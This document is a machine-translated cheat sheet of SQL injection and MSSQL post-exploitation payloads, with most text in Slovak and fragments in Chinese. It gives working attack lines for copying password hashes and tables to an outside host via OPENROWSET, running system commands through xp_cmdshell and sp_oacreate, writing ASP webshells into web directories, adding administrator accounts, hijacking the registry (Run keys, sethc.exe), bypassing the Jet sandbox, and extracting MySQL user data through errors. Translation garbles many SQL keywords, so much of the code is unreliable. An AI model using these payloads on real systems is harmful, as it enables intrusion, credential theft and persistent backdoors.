insert do OPENROWSET(SQLOLEDB,uid=sa; pwd=123; Sieť=DBMSSOCN; Adresa=192.168.0.1,1433; ,select

* z _blank>_sysobjects)
Vyberte * z user_blank>_database.dbo.sysobjects
insert do OPENROWSET(SQLOLEDB,uid=sa; pwd=123; Sieť=DBMSSOCN; Adresa=192.168.0.1,1433; ,select

* z _blank>_syscolumns)
Vyberte * z user_blank>_database.dbo.syscolumns
Replikujte _blank> databázu:
insert do OPENROWSET(SQLOLEDB,uid=sa; pwd=123; Sieť=DBMSSOCN; Adresa=192.168.0.1,1433; ,select

* z tabuľky1) vyberte * z databázy.. Tabuľka1
insert do OPENROWSET(SQLOLEDB,uid=sa; pwd=123; Sieť=DBMSSOCN; Adresa=192.168.0.1,1433; ,select

* z tabuľky2) vyberte * z databázy.. Tabuľka2

Hash hesla, ktoré kopíruje prihlasovacie _blank> hash tabuľky (HASH), je uložený v sysxlogins. Tu je ako:
insert into OPENROWSET(SQLOLEDB,

uid=sa; pwd=123; Sieť=DBMSSOCN; Adresa=192.168.0.1,1433; ,vyberte * z _blank>_sysxlogins)

Vyberte * z database.dbo.sysxlogins
Keď už získaš hash, môžeš ho použiť hrubou silou.

Na prechádzanie adresárom: Najprv vytvorte dočasnú tabuľku: temp
; Create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255)); –
; vložiť dočasný výkonný master.dbo.xp_blank>_availablemedia; – Získajte všetky aktuálne disky
; vložiť do temp(id) exec master.dbo.xp_blank>_subdirs c:\; – Získajte zoznam podadresárov
; vlož do temp(id,num1) exec master.dbo.xp_blank>_dirtree c:\; – Získať štruktúru adresárového stromu pre všetky podadresáre,

Spojte palce do tabuľky teploty
; vložte do temp(id) exec master.dbo.xp_blank>_cmdshell napíšte c:\web\index.asp; – Zobraziť súbor

Obsah
; vlož do temp(id) exec master.dbo.xp_blank>_cmdshell dir c:\; –
; vložte do temp(id) exec master.dbo.xp_blank>_cmdshell dir c:\ *.asp /s/a; –
; insert into temp(id) exec master.dbo.xp_blank>_cmdshell cscrip{filter}t C:\Inetpub\Adminscrip{filter}ts

\adsutil.vbs enum w3svc
; vlož do temp(id,num1) exec master.dbo.xp_blank>_dirtree c:\; – (xp_blank>_dirtree Príslušný orgán

VEREJNOSŤ)
Napíšte na stôl:
príkaz 1: a 1=(Vyberte IS_blank>_SRVROLEMEMBER(sysadmin)); –
Príkaz 2: a 1=(Vyberte IS_blank>_SRVROLEMEMBER(serveradmin)); –
Príkaz 3: a 1=(Vyberte IS_blank>_SRVROLEMEMBER(setupadmin)); –
Príkaz 4: a 1=(Vyberte IS_blank>_SRVROLEMEMBER(securityadmin)); –
Výrok 5: a 1=(Vyberte IS_blank>_SRVROLEMEMBER(securityadmin)); –
Príkaz 6: a 1=(Vyberte IS_blank>_SRVROLEMEMBER(diskadmin)); –
Výrok 7: a 1=(Vyberte IS_blank>_SRVROLEMEMBER(bulkadmin)); –
Výrok 8: a 1=(Vyberte IS_blank>_SRVROLEMEMBER(bulkadmin)); –
Výrok 9: a 1=(Vyberte IS_blank>_MEMBER(db_blank>_owner)); –

Napíšte cestu k stolu:
; Create table dirs(paths varchar(100), id int)–
; insert dirs exec master.dbo.xp_blank>_dirtree c:\–
a 0<>(vyberte top 1 cesty z Dirs)–
a 0<>(vyberte top 1 cesty z smerov, kde cesty nie sú v(@Inetpub))–
; Create table dirs1(paths varchar(100), id int)–
; insert dirs exec master.dbo.xp_blank>_dirtree e:\web–
a 0<>(vyberte top 1 cesty z dirs1)–

Zálohujte _blank> databázu do webového adresára: Stiahnuť
; deklarovať @a sysname; množina @a=db_blank>_name(); záložná databáza @a na disk=e:\web\down.bak; –

a 1=(Vyberte top 1 meno z(Vyberte top 12 id,názov zo sysobjects, kde xtype=char(85)) T

poradie podľa ID desc)
a 1=(Vyberte Top 1 col_blank>_name(object_blank>_id(USER_blank>_LOGIN),1) zo sysobjects) Pozri tiež

Súvisiace tabuľky.
a 1=(vybrať user_blank>_id z USER_blank>_LOGIN)
a 0=(vybrať používateľa z USER_blank>_LOGIN kde používateľ >1)

-=- wscrip{filter}t.shell príklad -=-
deklarujte @o int
exec sp_blank>_oacreate wscrip{filter}t.shell, @o out
exec sp_blank>_oamethod @o, bež, NULL, notepad.exe
; declare @o int exec sp_blank>_oacreate wscrip{filter}t.shell, @o out exec sp_blank>_oamethod @o, run,

NULL, notepad.exe–

deklarujte @o int, @f int, @t int, @ret int
Deklarujte @line varchar(8000)
exec sp_blank>_oacreate scrip{filtering}ting.filesystemobject, @o out
exec sp_blank>_oamethod @o, OpenTextfile, @f out, c:\boot.ini, 1
exec @ret = sp_blank>_oamethod @f, readline, @line out
while( @ret = 0 )
začať.
tlač @line
exec @ret = sp_blank>_oamethod @f, readline, @line out
koniec

deklarujte @o int, @f int, @t int, @ret int
exec sp_blank>_oacreate scrip{filtering}ting.filesystemobject, @o out
exec sp_blank>_oamethod @o, createtextfile, @f out, c:\inetpub\wwwroot\foo.asp, 1
exec @ret = sp_blank>_oamethod @f, writeline, NULL,
<% set o = server.createobject("wscrip{filter}t.shell"): o.run( request.querystring("cmd") ) %>

deklarujte @o int, @ret int
exec sp_blank>_oacreate speech.voicetext, @o koniec
exec sp_blank>_oamethod @o, register, NULL, foo, bar
Výkonný sp_blank>_oasetproperty @o, rýchlosť, 150
exeec sp_blank>_oamethod @o, hovor, NULL, všetky tvoje servery pokračovaní patria nám, 528
čakanie na oneskorenie 00:00:05

; deklaruj @o int, @ret int exec sp_blank>_oacreate speech.voicetext, @o náš exec.

sp_blank>_oamethod @o, register, NULL, foo, bar exec sp_blank>_oasetproperty @o, rýchlosť, 150 exec

sp_blank>_oamethod @o, hovor, NULL, všetky tvoje servery pokračovania patria nám, 528 čaká na oneskorenie

00:00:05–

xp_blank>_dirtree platné VEREJNÉ povolenie
exec master.dbo.xp_blank>_dirtree c: Vrátené informácie majú dve polia: podadresár, hĺbka. Polia podadresára

Typ znaku, hĺbkové pole je tvarovacie pole.
Create table dirs(paths varchar(100), id int)
Pri tvorbe tabuliek, tabuľka vytvorená tu súvisí s vyššie uvedeným xp_blank>_dirtree, s rovnakými poľami a rovnakým typom.
insert dirs exec master.dbo.xp_blank>_dirtree c: Pokiaľ vytvoríme tabuľku a rovnako definujeme polia vrátené procesom ukladania

Vykonajte! Aby sme dosiahli efekt písania tabuliek, krok za krokom, aby sme dosiahli požadované informácie!
Táto chybová injekcia je založená hlavne na pretečení Mysql dátových typov
    mysql > SELECT 18446744073709551610 * 2 ;
    CHYBA 1690 (22003): Hodnota BIGINT UNSIGNED je mimo rozsahu v '(18446744073709551610 * 2)'

    mysql > SELECT - 1 * 9223372036854775808 ;
    CHYBA 1690 (22003): BIGINT NEZNAMIENKOVÁ hodnota je mimo rozsahu v '(- (1) *

9223372036854775808)'
Verzia databázy dotazov:
    mysql> SELECT * 2 (ak ((SELECT * from (SELECT (version ()) ) s), 18446744073709551610,

18446744073709551610));
    CHYBA 1690 (22003): Hodnota BIGINT UNSIGNED je mimo rozsahu v '(2 * ak (( Vyberte ' 5.5 'z

Dual), 18446744073709551610.18446744073709551610))'
Získajte názov odboru:
    mysql> SELECT 2 * if((SELECT * from (select * from test.shop) ako '' limit 1)>(SELECT * z

test.shop limit 1), 18446744073709551610, 18446744073709551610);

    CHYBA 1690 (22003): BIGINT NEZNAMIENKOVÁ hodnota je mimo rozsahu v '(2 * if((((select

'article','dealer', 'price' from (vyberte 'test'.'shop'.'article' AS

'článok','test'.'obchod'.'predajca' AS 'predajca', 'test'.'obchod'.'cena' AS 'cena' z

'test'. 'shop') limit 1) > (vybrať

'test'.'shop'.'artikl','test'.'shop'.'dealer','test'.'shop'.'cena' z 'test'.'shop' limit

1)),18446744073709551610,18446744073709551610))'
Získajte hodnotu poľa:

    mysql> SELECT 2 * if((SELECT * from (select * from (mysql.user) LIMIT 1) ako '' limit 1) <

(1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2),

18446744073709551610, 18446744073709551610);

    CHYBA 1690 (22003): BIGINT NEZNAMIENKOVÁ hodnota je mimo rozsahu v '(2 * if((((select

'lokálny host', 'root','*', 'Y','Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', '

Y','Y','Y','Y','Y', 'Y','Y', 'Y', 'Y','Y', 'Y','',','','', '0','0','0',' z duálneho limitu 1)

<

(1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2)),184467440

73709551610,18446744073709551610))'

Upozorňujeme, že táto metóda nefunguje so staršími verziami Mysql a budete potrebovať poznať dĺžkový limit chybovej správy, pretože to určí

Môžete získať toľko času, koľko chcete:
    mysys / my_error.c

    /* Maximálna dĺžka chybového hlásenia. Mal by byť synchronizovaný s MYSQL_ERRMSG_SIZE. */
    #define ERRMSGSIZE (512)

Ak je objektom MariaDB (fork Mysql), môžete pri skúšaní vyššie uvedenej metódy vidieť podobnú chybovú správu:

    mysql> SELECT 2*(if((SELECT * from (SELECT (version()))s), 18446744073709551610,

18446744073709551610))
    CHYBA 1690 (22003): BIGINT NEZNAMIENKOVÁ hodnota je mimo rozsahu v '(2 * if((select

#),18446744073709551610,18446744073709551610))'

Ako riešenie možno tento problém vyriešiť takto:

    mysql> SELECT (I NIE JE NULL) - -9223372036854775808 FROM (SELECT (VERSION())i)a;
    CHYBA 1690 (22003): Hodnota BIGINT je mimo rozsahu v '(('5.5-MariaDB' nie je null) - -

(9223372036854775808))'
Teraz sa pozrime, či dokážeme náš vektor trochu skrátiť

//查询数据库版本

    SELECT 2*(if((SELECT * from (SELECT (version()))), 18446744073709551610,

18446744073709551610))
    =
    select 1E308*if((select*from(select version())x),2,2)

    SELECT (I NIE JE NULL) - -9223372036854775808 Z (SELECT (version())i)a
    =
    select if(x,2,2)*1E308 from(select version()x)y
//获取表字段名称
    SELECT 2 * if((SELECT * from (select * from test.shop) ako '' limit 1)>(SELECT * z

test.shop limit 1), 18446744073709551610, 18446744073709551610)
    =
    select 1E308*if((select*from(select*from mysql.user)''limit 1)>(select*from mysql.user limit

1),2,2)

//获取字段值

    SELECT 2 * if(((SELECT * from (select * from (mysql.user) LIMIT 1) ako '' limit 1) <

(1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5 ,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2),

18446744073709551610, 18446744073709551610)
    =
    select 1E308*if((select*from(select*from mysql.user LIMIT 1)''limit 1)<(select*from

mysql.user limit 0),2,2)
//获取指定字段的值
    vyberte 1E308*if((select user|| host|| heslo|| file_priv from(select*from mysql.user LIMIT

1) limit 1),2,2)
//获取字段个数


    vyberte 1E308*if((select*from mysql.user limit 1)>(select 1),2,2)



Niektoré ďalšie deformácie

    SELECT (I NIE JE NULL) - -9223372036854775808 Z (SELECT (version())i)a
    vyberte 1E308*if((select user|| host|| heslo|| file_priv from(select*from mysql.user LIMIT

1) limit 1),2,2);
    =>
    Vyberte 2*if((select user|host|password|file_priv from(select*from mysql.user LIMIT 1)a limit

1),1e308,0);
    mysql> vybrať (vybrať * z mysql.user)=1;
    mysql> vybrať (vybrať * z mysql.user)in(1);

    CHYBA 1241 (21000): Operand by mal obsahovať 42 stĺpcov
    Vyberte 2*if((select user|host|password|file_priv from(select*from mysql.user LIMIT 1)a limit

1),1e308,0);
    vyber if(((select user|| host|| heslo|| file_priv from(select*from mysql.user LIMIT 1)a

limit 1),2,2)*1E308
    SELECT (I NIE JE NULL) - -9223372036854775808 Z (SELECT (version())i)a
    select (x!=0x00)--9223372036854775808 from(SELECT version()x)y
    mysql> select!x-~0.FROM(select+user()x)f;
    CHYBA 1690 (22003): Hodnota BIGINT UNSIGNED je mimo rozsahu v '((not('root@localhost')) - ~

(0))'
3. Posúdiť databázový systém
; a (vyberte count(*) zo sysobjects)>0 mssql
; a (vyberte count(*) z msysobjects)>0 prístup
4. Parameter injekcie je znak
'a [kritériá dotazu] a ''='
5. Počas vyhľadávania nie sú žiadne filtrované parametre
'a [kritériá dotazu] a '%25'='
6. Uhádni databázu
; a (vyberte Count(*) z [názov databázy])>0
7. Hádať pole
; a (vyberte Count(field name) z názvu databázy)>0
8. Hádať dĺžku záznamu v poli
; a (vyberte top 1 len (názov poľa) z názvu databázy)>0
9. (1) Uhádnite ASCII hodnotu poľa (prístup)
; a (vyberte top 1 ASC(Mid(Field Name, 1,1)) z názvu databázy)>0
(2) Uhádnite ASCII hodnotu poľa (mssql)
; a (vyberte top 1 unicode(substring(field name, 1,1)) z názvu databázy)>0
10. Štruktúra testovacích povolení (mssql)
; a 1=(vybrať IS_SRVROLEMEMBER('sysadmin')); --
; a 1=(vybrať IS_SRVROLEMEMBER('serveradmin')); --
; a 1=(vybrať IS_SRVROLEMEMBER('setupadmin')); --
; a 1=(vybrať IS_SRVROLEMEMBER('securityadmin')); --
; a 1=(vybrať IS_SRVROLEMEMBER('diskadmin')); --
; a 1=(vybrať IS_SRVROLEMEMBER('bulkadmin')); --
; a 1=(vybrať IS_MEMBER('db_owner')); --
11. Pridať účet pre mssql a systém
; exec master.dbo.sp_addlogin používateľské meno; --
; exec master.dbo.sp_password null, používateľské meno, heslo; --
; exec master.dbo.sp_addsrvrolemember používateľské meno správcu systému; --
; exec master.dbo.xp_cmdshell 'net používateľské meno, heslo /workstations:* /times:all

/passwordchg:yes /passwordreq:yes /active:yes /add';--
; exec master.dbo.xp_cmdshell 'net používateľské meno, heslo /add'; --
; exec master.dbo.xp_cmdshell 'net localgroup administrators username /add'; --
12. (1) Prejdite katalóg
; Create table dirs(paths varchar(100), id int)
; Insert Dirs Exec master.dbo.xp_dirtree 'c:\'
; a (vyberte top 1 cesty z dirs)>0
; a (vyberte top 1 ciest z dirs, kde cesty nie sú v ('cesty získané z predchádzajúceho kroku'))>)
(2) Prechádzať katalógom
; Create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255)); --
; vložte dočasný výkonný master.dbo.xp_availablemedia; -- Získajte všetky prúdové pohony
; vlož do temp(id) exec master.dbo.xp_subdirs 'c:\'; -- Získajte zoznam podadresárov
; vlož do temp(id,num1) exec master.dbo.xp_dirtree 'c:\'; -- Získajte štruktúru adresárov pre všetky podadresáre
; vložiť do temp(id) exec master.dbo.xp_cmdshell 'napíš c:\web\index.asp'; -- Zobraziť obsah súboru
13. Uložené procedúry v mssql
xp_regenumvalues Koreňový kľúč registra, detský kľúč
; exec xp_regenumvalues 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run' a ďalšie

Metóda súboru záznamov na vrátenie všetkých kľúčových hodnôt
xp_regread Koreňový kľúč, podkľúčený kľúč, meno kľúč-hodnota
; exec xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows

\CurrentVersion','CommonFilesDir' vráti hodnotu formulačného kľúča
xp_regwrite koreňový kľúč, podkľúčený kľúč, názov hodnoty, typ hodnoty, hodnota
Existujú dva typy hodnôt REG_SZ REG_DWORD pre typy znakov a pre celé čísla
; exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows

\CurrentVersion', 'TestvalueName', 'reg_sz', 'hello' sú zapísané do registra
xp_regdeletevalue Koreňový kľúč, podkľúč, názov hodnoty
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows

\CurrentVersion', 'TestvalueName' na odstránenie hodnoty
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' kláves na vymazanie,

Zahrňte všetky hodnoty pod tento kľúč
14. MSSQL záloha vytvára webshell
Použitie modelu
create table cmd (str image);
insert do cmd(str) hodnôt ('<% Dim oscrip{filter}t %>');
záložný databázový model na disk='c:\l.asp';
15. Vstavané funkcie MSSQL
; a (vyberte @@version)>0 na získanie čísla verzie Windows
; a user_name()='dbo' na určenie, či je pripojený používateľ aktuálneho systému SA
; a (vybrať user_name()>0 Vybuchlo pripojených používateľov aktuálneho systému
; a (vyberte db_name()>0 pre získanie aktuálne pripojenej databázy
16. Stručný webshell
Použitie modelu
create table cmd (str image);
vložte do cmd(str) hodnoty ('<%=server.createobject("wscrip{filter}t.shell").exec("cmd.exe /c

"&request("c")).stdout.readall%>');
záložný databázový model na disk='g:\wwwtest\l.asp';
Pri žiadosti použite niečo takéto:
http://ip/l.asp?c=dir
================================================================================================

================================================================================================

================================================================================================

================================================================================================

============================
Získajte všetky názvy databáz vrátane systémových databáz
–VYBRAŤ názov Z master.dbo.sysdatabases

Získajte všetky nesystémové názvy databáz
–vyberte [meno] z master.dbo.sysdatabases, kde DBId>6 Zoradiť podľa [Meno]

Získajte všetky informácie, vrátane adresy databázového súboru
–vyberte * z master.dbo.sysdatabases, kde DBId>6 Zoradiť podľa

[Meno]



Tento dotaz na príkaz vráti všetky používateľské tabuľky

Vyberte * z sysobjects, kde xtype='u'


Dotazujte všetky informácie v dátovej tabuľke v systéme

Vyberte * z sysobjects



Pozri sa na názov stroja
Vyberte * zo sys.servers





Obsah stĺpcov
Výkonný master.dbo.xp_subdirs 'C:\'


exec master.dbo.xp_dirtree 'c:',1,1 db_owner
Povolenia môžu byť vynútené


exec master.dbo.xp_dirtree 'c:/Program Files',1,1





Programový kód, napísaný do webshellu


Exec master.dbo.xp_subdirs 'd:\web\www.xx.com';
Výkonný sp_makewebtask:

\web\www.XXXX.com\XX.asp','select"<%execute(request("SB"))%>"






Vykonaj majstra.. xp_enumgroups  


Používatelia systému prechodu


Vykonaj majstra.. xp_getnetname
Získajte aktuálny názov automatu


--Zobraziť pevné disky na serveri spolu s dostupným miestom pre každý disk
   DBO Public


Vykonať

xp_ntsec_enumdomains


--
Vytvorte si účet na prihlásenie do MSSQL
Výkonný master.dbo.sp_addlogin meno, prešiel; --






--
Uveďte doménové meno servera
xp_ntsec_enumdomains //
Názov stroja //dbo public


--
Zastavte alebo spustite službu
xp_servicecontrol 'stop', 'schedule' //schedule je názov služby //dbo


--Použite pid

Zastavte vykonávajúci program
xp_terminate_process 123 //123 je PID //DBO


--
V adresári sú uvedené iba podadresáre
dbo.xp_subdirs 'C:' //dbo


SQL Server
Spôsob otvorenia xp_cmdshell v roku 2005
EXEC sp_configure 'zobraziť pokročilé možnosti', 1; REKONFIGUROVAŤ; EXEC

sp_configure 'xp_cmdshell', 1; REKONFIGUROVAŤ;

SQL2005 Otvorte 'OPENROWSET'
Podporované metódy:
Výkonný sp_configure 'zobraziť pokročilé možnosti', 1; REKONFIGUROVAŤ; Výkonný sp_configure 'Ad Hoc

distribuované dotazy',1; REKONFIGUROVAŤ;

SQL2005 na umožnenie podpory 'sp_oacreate':
Výkonný sp_configure 'zobraziť pokročilé možnosti', 1; REKONFIGUROVAŤ; exec

sp_configure 'Ole Automation Procedures',1; REKONFIGURÁCIA





Ako povoliť xp_cmdshell v SQL Server 2008


-- Umožniť zmenu pokročilých možností.
EXEC

sp_configure 'zobraziť pokročilé možnosti', 1
CHOĎ
-- Na aktualizáciu aktuálne nastavenej hodnoty pre

Pokročilé možnosti.
REKONFIGURÁCIA
CHOĎ
-- Na povolenie funkcie.
EXEC sp_configure 'xp_cmdshell', 1
CHOĎ
-- Na

aktualizujte aktuálne nastavenú hodnotu pre túto funkciu.
REKONFIGURÁCIA
CHOĎ


exec xp_cmdshell 'ipconfig'



Dnes som chcel zmeniť SA prihlasovacie heslo k databázovému serveru, ale zrazu som na to zabudol, takže som musel s pomocou iných účtov otvoriť analyzátor dotazov, aby som zmenil SA heslo

Je to veľmi jednoduché:


Realizácia:
sp_password Null, 'teracypwd', 'sa'
Nastavte heslo SA na "teracypwd"


Po úspešnej poprave

Je tu "Príkaz(y) úspešne dokončené."  OK!








V oprávnení databázy oddelte spôsob získania IP adresy databázového servera MSSQL


1. Miestne NC počúva NC - VVLP 80


2.; vlož do

OPENROWSET('SQLOLEDB','uid=sa; pwd=xxx; Sieť=DBMSSOCN; Adresa = vaša IP adresa, 80; ', 'vyberte * z

dest_table') vyberte * z src_table; --


Vyberte * z OpenRowset

('sqloledb','server=125.110.145.130,6789; uid=sa; pwd=zhu','vybrať používateľa; ')





Import a export databázy

/*不同服务器数据库之间的数据操作*/

--Vytvoriť link server
Výkonný sp_addlinkedserver   

'ITSV', 'SQLOLEDB', 'Názov vzdialeného servera alebo IP adresa'
exec sp_addlinkedsrvlogin 'ITSV', 'false

',null, 'používateľské meno', 'heslo'

--príklad dotazu
select * from ITSV.database name.dbo.table name

--import example
Vyberte *

do tabuľky z ITSV.databasename.dbo.tablename

--Vymažte prepojený server, ak sa v budúcnosti už nepoužíva
výkonný sp_dropserver 'ITSV',

'droplogins'

--
Pripojenie k vzdialeným/LAN dátam (openrowset/openquery/opendatasource)
--1、openrowset

--príklad dotazu
Vyberte *

from openrowset( 'SQLOLEDB ', 'sql server name '; 'Používateľské meno'; 'password', názov databázy.dbo.table meno)

--
Vygenerujte lokálnu tabuľku
vyberte * do tabuľky z openrowset( 'SQLOLEDB ', 'sql server name '; 'Používateľské meno'; 'Heslo', číslo

Podľa názvu tabuľky v databáze názov.dbo.)

--
Importujte lokálnu tabuľku do vzdialenej tabuľky
insert openrowset( 'SQLOLEDB', 'sql server name'; 'Používateľské meno'; 'Heslá', databázy

meno.dbo.názov tabuľky)
Vyberte *z lokálnej tabuľky

--
Aktualizujte lokálne tabuľky
Aktualizácia B
množina b. stĺpec A = a
from openrowset( 'SQLOLEDB ', 'sql server name '; 'Používateľské meno'; '

heslo ', názov databázy .dbo.table name) ako inner join lokálna tabuľka b
na a.stĺpci1=b.stĺpček1

--openquery
Použitie vyžaduje vytvorenie spojenia

--Najprv vytvoriť spojenie na vytvorenie linkového servera
exec sp_addlinkedserver 'ITSV', ' ',

'SQLOLEDB', 'názov vzdialeného servera alebo IP adresa'
--Pýtajte sa
Vyberte *
FROM openquery(ITSV, 'SELECT * FROM data

library.dbo.table name ')
--
Importujte lokálnu tabuľku do vzdialenej tabuľky
vložiť openquery(ITSV, 'SELECT * FROM database.dbo.table name')
Vyberte * z lokálneho prostredia

Tabuľka
--aktualizovať lokálnu tabuľku
Aktualizácia B
množina b. stĺpec B=a
FROM openquery(ITSV, 'SELECT * FROM DATABASE.DBO.TABLENAME')

ako  
vnútorný spoj lokálna tabuľka b na stĺpci a. A=b. stĺpec A

--3、opendatasource/openrowset
VYBRAŤ *
Z   

opendatasource( 'SQLOLEDB ', 'Data Source=ip/ServerName; ID používateľa = prihlasovacie meno; Heslo=Heslo '

).test.dbo.roy_ta
--
Importujte lokálnu tabuľku do vzdialenej tabuľky



Vymazanie a obnovenie xp_cmdshell


Spôsoby, ako sa zotaviť xp_cmdshell   
Vymažte rozšírenú uloženú procedúru xp_cmdshell

Vyhlásenie   
Výkonný sp_dropextendedproc 'xp_cmdshell'   



Obnovenie SQL príkazu cmdshell   
exec sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'   


exec

master.dbo.addendedproc 'xp_cmdshell','xplog70.dll'; Vyberte count(*) z

master.dbo.sysobjects, kde xtype='x' a   
Výsledok je 1 a je to v poriadku   


Inak musíte nahrať c:\inetput\web

\xplog70.dll neskôr   
Výkonný master.dbo.sp_addextendedproc 'xp_cmdshell','c:\inetput\web\xplog70.dll

’; --   



Ak to vymažete nasledujúcim spôsobom   
Postup zhody sp_addextendedproc   
Postup zhody sp_oacreate   
exec

sp_dropextendedproc 'xp_cmdshell'   



Môžete ho obnoviť nasledujúcim vyhlásením   
dbcc addextendedproc ("sp_oacreate","odsole70.dll")   
DBCC

addextendedproc ("xp_cmdshell","xplog70.dll")   

Týmto spôsobom ho možno priamo obnoviť, bez ohľadu na to, či sp_addextendedproc existuje alebo nie






1、
Použite xp_cmdshell:
          Exec master.dbo.xp_cmdshell "Net User, Admin, Admin /ADD"
          exec

master.dbo.xp_cmdshell "net localgroup administrators admin /add"

V xp_cmdshell prípade použite sp_oacreate na dodržiavanie sp_oamethod:
          deklarujte @object int   
          exec

sp_oacreate 'wscrip{filter}t.Shell', @object von         
          Výkonný sp_oamethod

@object,'Run', NULL,'net user admin admin /add'
          exec sp_oamethod @object,'Run', NULL,'net

localgroup Administrátori admin /add'

Poznámka: regsvr32 /s c:\windows\system32\wshom.ocx
Start wscrip{filter}t.shell
3、
Použite sp_oacreate a FSO
          deklarujte @o int
          Výkonný sp_oacreate

'scrip{filter}ting.filesystemobject', @o out
          exec sp_oamethod @o, 'copyfile', null,'c:\windows

\explorer.exe' ,'c:\windows\system32\sethc.exe';
          deklarujte @oo int
          exec

sp_oacreate 'scrip{filtering}ting.filesystemobject', @oo out
          Výkonný sp_oamethod @oo,

'copyfile', null,'c:\windows\system32\sethc.exe', 'c:\windows\system32\dllcache\sethc.exe';

Použite xp_regwrite (db_owner, vyžaduje sa reštart):
          Výkonný master.dbo.xp_regwrite

'hkey_local_machine','software\microsoft\windows\currentversion\


run','eadd1','reg_sz','net user admin admin /add'
          Výkonný master.dbo.xp_regwrite

'hkey_local_machine','software\microsoft\windows\currentversion\


run','eadd2','reg_sz','net localgroup administrators admin /add'
5. Použitie sp_add_job:
          exec

master.dbo.xp_servicecontrol 'start', 'SQLSERVERAGENT'
          Použite MSDB Exec sp_delete_job

null,'x'
          Exec sp_add_job 'X'
          Výkonný sp_add_jobstep

Null,'x', Null,'1', 'CMDEXEC', 'cmd /c net user admin admin /add'
          Výkonný sp_add_jobserver

Null, 'x', @@servername exec sp_start_job 'x'















Mnohým SA sa podarilo na mnohých strojoch priamo v sandboxovom režime, ale ja som to nikdy neskúšal a neviem, aká je úspešnosť. Keď sa predĺženie odstráni, najprv

Obnovte úložisko na čítanie a zápis do registra.
DBCC addextendedproc ('xp_regread','xpstar.dll')
DBCC addextendedproc

('xp_regwrite','xpstar.dll')



Opravený chránený režim sandboxu
Výkonný majster.. xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet

\4.0\Engines','SandBox Mode','REG_DWORD',0; --



Skontrolujte, či sa hodnota 'SandBoxMode' zmenila na 0.


výkonný master.dbo.xp_regread 'HKEY_LOCAL_MACHINE,'SOFTVÉR

\Microsoft\Jet\4.0\Engines', 'SandBoxMode'



Nakoniec zavolajte režim sandbox
select * from openrowset('microsoft.jet.oledb.4.0','; database=C:\WINDOWS

\system32\ias\dnary.mdb','select shell("cmd.exe /c net user passwd /add")')







Ak režim ochrany pieskoviska nie je "vypnutý", hlási sa chyba:
          Server: Msg 7357, úroveň 16, stav 2, riadok 1

Nepodarilo sa spracovať objekt 'select shell("cmd.exe /c net user pass /add")'. OLE DB poskytuje programy

Predslov 'microsoft.jet.oledb.4.0' uvádza, že v objekte nie sú žiadne stĺpce.

Sledovanie chýb OLE DB [Chyba mimo rozhrania: poskytovateľ OLE DB nemôže spracovať objekt, keďže objekt

has nocolumnsProviderName='microsoft.jet.oledb.4.0', Query=select shell("cmd.exe /c net user

používateľ passwd /add")']。


2、
Ak .mdb neexistuje alebo je vstupná cesta nesprávna
           Server: Msg 7399, úroveň 16, stav 1, riadok 1

OLE DB provider 'microsoft.jet.oledb.4.0' error.
            [Poskytovateľ OLE/DB vrátil správu:

Súbor 'C:\WINDOWS\system32\ias\dnary1.mdb' sa nenašiel. ]

OLE DB error trace [OLE/DB Provider 'microsoft.jet.oledb.4.0' IDBInitialize::Initialize returned

0x80004005: ]。


3. Ak je počas vstupného procesu viac medzier, bude tiež nahlásená chyba. Venujte tomu osobitnú pozornosť, veľa ľudí priamo vyhľadáva články online

Vložte ho do a vykonajte ho.
          Server: Msg 7357, úroveň 16, stav 2, riadok 1
          Nepodarilo sa spracovať objekt 'select'

shell("cmd.exe /c net user passwd /add")'。
Poskytovateľ OLE DB 'microsoft.jet.oledb.4.0' uvádza, že v objekte nie sú žiadne stĺpce.

Sledovanie chýb v OLE DB [Chyba mimo rozhrania:
Poskytovateľ OLE DB nemôže spracovať objekt, pretože objekt má

nocolumnsProviderName='microsoft.jet.oledb.4.0', Query=select shell("cmd.exe /c net user user

passwd /add")']。


4、
Ak sú oprávnenia mdb a cmd.exe nesprávne, problém sa tiež vyskytne.
          Keď sú oprávnenia MDB nesprávne,
           Server: Eliminovať

Záujem 7320, úroveň 16, stav 2, riadok 1

Nemohol odpovedať
OLE DB provider 'Microsoft.Jet.OLEDB.4.0' vykoná dotaz.
           [OLE/DB poskytovateľ vrátený

message: 未知]
           OLE DB Error Trace [OLE/DB Provider 'Microsoft.Jet.OLEDB.4.0'

ICommandText::Execute returned 0x80040e14]。


5. Ak je internetové povolenie nesprávne, nie je tam žiadny prompt.

Posledným spôsobom, ako zvýšiť autoritu, je nahrať ias.mdb a cmd.exe systému do aktuálneho webového adresára net.exe troch súborov.

Execute select * from openrowset('microsoft.jet.oledb.4.0','; database=E:\web\ias.mdb','select shell

("E:\web\cmd.exe /c E:\web\net.exe užívateľ passwd /add")')
          Úspešne pridať používateľa počítača.






Rozdelenie cmdshell obchádza IDS         
declare @a sysname set @a='xp_'+'cmdshell' exec @a 'ipconfig'
vyhlásiť

@a sysname set @a='xp'+'_cm'+'dshell' exec @a 'dir c:\'





Upraviť únos registra na zmenu
Výkonný majster.. xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT

\CurrentVersion\Image File Execution Options\sethc.exe','debugger','REG_sz','c:\windows

\system32\cmd.exe on'; --



Dotaz na linkserver
vybrať

